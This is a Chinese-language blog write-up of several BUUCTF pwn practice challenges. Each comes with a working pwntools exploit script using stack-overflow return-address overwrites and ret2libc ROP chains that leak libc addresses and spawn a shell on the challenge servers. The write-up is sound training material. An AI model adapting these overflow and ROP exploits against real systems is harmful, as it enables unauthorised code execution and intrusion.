buuctf——pwn刷题之旅(持续更新)

[toc]

连上就有flag的pwn

1568305685314

RIP覆盖一下

1568307672397

IDA看一下:

1568307909466

典型的溢出,函数中有fun函数:

1568307994407

看一下偏移:

1568308011545

有一个需要注意的地方就是nc连上发现没有输出input,直接让我输入,所以exp改了一下。

exp:

from pwn import *

p = remote('pwn.buuoj.cn', 6001)
#p = process('../files/pwn1')

payload = 'a' * (0xf + 8) + p64(0x401186)
p.sendline(payload)
p.interactive()

得到flag:

1568308290836

ciscn_2019_c_1

还是个64位的ELF,IDA分析一下:

main函数里没有啥:

1568359070246

encrypt()函数里存在栈溢出:

1568359126837

由于程序中没有system和sh所以ROP攻击。

思路是通过栈溢出返回程序中的puts函数把gets函数的地址泄露出来,然后找到偏移地址,再调用system和/bin/sh来获得shell。

看一下s:

1568359326141

exp:

from pwn import *
from LibcSearcher import *

#p = process('../files/ciscn_2019_c_1')
p = remote('pwn.buuoj.cn', 20115)
e = ELF('../files/ciscn_2019_c_1')

start = 0x400B28
rdi_addr = 0x0000000000400c83

puts_plt = e.plt['puts']
gets_got = e.got['gets']

log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))

p.sendlineafter('choice!\n', '1')

payload1 = 'a' * (0x50 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)

p.sendline(payload1)

p.recvuntil('@')
p.recvline()
gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
log.success('get_leak_addr => {}'.format(hex(gets_leak)))

libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

p.sendlineafter('choice!\n', '1')

payload2 = 'a' *(0x50 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)
p.interactive()

运行得到flag:

1568359451505

warmup_csaw_2016

看一下源码:

1568359953444

很明显的栈溢出。程序中还有这个:

1568359977736

没啥说的了,直接上exp:

from pwn import *


p = remote('pwn.buuoj.cn', 20035)

payload = 'a' * (0x40 + 8)
payload += p64(0x40060d)

p.recvuntil('>')
p.sendline(payload)

p.interactive()

得到flag:

1568360050956

pwn1_sctf_2016

分析源码:

1568381486365

第13行发现传入的s被限制在了31个字符,没法溢出,但是接着看发现当输入I的时候,程序会把I变成you,这样一来原本一个字符就变成了三个字符,可以溢出了!

发现程序中有get_flag函数:

1568381665781

那么思路就是溢出让程序返回get_flag函数。

动态调试查看输入的起始地址为FFCD1D48(you是程序运行自己修改的):

1568381364714

程序返回地址存放的位置为FFCD1D90:

1568381400442

所以偏移量就是90-4C-4=0x40=64,那么就需要填充64个字节,所以构造21个I加一个A,exp如下:

from pwn import *

#p = process('../files/pwn1_sctf_2016')
p = remote('pwn.buuoj.cn',20086)
e = ELF('../files/pwn1_sctf_2016')

get_flag = e.symbols['get_flag']
log.success('get_flag_addr => {}'.format(hex(get_flag)))

payload = 'I' * 21 + 'A' + p32(get_flag)

p.sendline(payload)
print(p.recv())

得到flag:

1568382235211

ciscn_2019_en_1

和ciscn_2019_c_1一模一样,exp改个端口号就行了。

ciscn_2019_n_1

源码很简单:

1568388929535

就是一个简单的溢出让v2变成11.28125。v1是var_30,v2是var_4:

1568389165705

1568389212921

再看一下11.28125在程序中的表示:

1568389275163

也就是让v2变成41348000h,所以exp如下:

from pwn import *

#p = process('../files/ciscn_2019_n_1')
p = remote('pwn.buuoj.cn', 20137)

payload = '1' * 0x2c + p64(0x41348000)
p.recv()
p.sendline(payload)
p.interactive()

1568386840196

我去{{tuxue}},居然告诉我没有flag,可能是出题的时候环境配的有问题吧,或者是就是个坑。

不过没关系,那就ROP,具体没啥好说的和前几道题都差不多,,不多说了。

exp:

from pwn import *
from LibcSearcher import *


#p = process('../files/ciscn_2019_n_1')
p = remote('pwn.buuoj.cn', 20137)
e = ELF('../files/ciscn_2019_n_1')

rdi_addr = 0x0000000000400793
start = 0x4006DC

puts_plt = e.plt['puts']
gets_got = e.got['gets']
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))

payload1 = 'a' * (0x30 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)

p.sendline(payload1)

p.recvuntil('11.28125\n')
gets_leak = u64(p.recvline()[:-1].ljust(8,'\0'))
log.success('gets_leak_addr => {}'.format(hex(gets_leak)))

libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

p.recvline()

payload2 = 'a' * (0x30 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)

p.interactive()

取得shell,得到flag:

1568423814631

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

3 × 3 =